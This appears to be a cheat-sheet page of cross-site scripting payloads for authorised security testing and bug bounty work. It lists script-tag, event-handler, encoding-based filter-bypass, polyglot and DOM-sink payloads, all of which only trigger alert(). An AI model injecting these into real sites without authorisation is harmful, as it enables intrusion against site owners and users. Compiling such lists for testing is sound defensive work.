Loading...
Loading...
Collection of XSS payloads for security testing and bug bounty hunting.
Security Testing Only
Only use these payloads on systems you have explicit permission to test.
Classic XSS test payload
<script>alert(1)</script>Shows current domain
<script>alert(document.domain)</script>Display cookies (for testing)
<script>alert(document.cookie)</script>Image error event handler
<img src=x onerror=alert(1)>SVG load event
<svg onload=alert(1)>Body load event
<body onload=alert(1)>Auto-focusing input
<input onfocus=alert(1) autofocus>Marquee start event
<marquee onstart=alert(1)>Details toggle event
<details open ontoggle=alert(1)>Video source error
<video><source onerror=alert(1)>Mixed case to bypass filters
<ScRiPt>alert(1)</sCrIpT>Double URL encoded
%253Cscript%253Ealert(1)%253C/script%253ENull byte injection
<scr%00ipt>alert(1)</scr%00ipt>HTML entity encoded
<script>alert(1)</script>Unicode escaped characters
<script>\u0061lert(1)</script>Template literals instead of parentheses
<img src=x onerror=alert`1`>SVG animate element
<svg><animate onbegin=alert(1) attributeName=x dur=1s>Works in multiple contexts
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3eShort polyglot for attribute context
'-alert(1)-'Break out of attribute and tag
"><img src=x onerror=alert(1)>//Execute code from URL hash
<script>eval(location.hash.slice(1))</script>DOM manipulation via document.write
<script>document.write("<img src=x onerror=alert(1)>")</script>innerHTML injection
<div id=x></div><script>x.innerHTML="<img src=x onerror=alert(1)>"</script>PostMessage handler exploitation
<script>window.addEventListener("message",function(e){eval(e.data)})</script>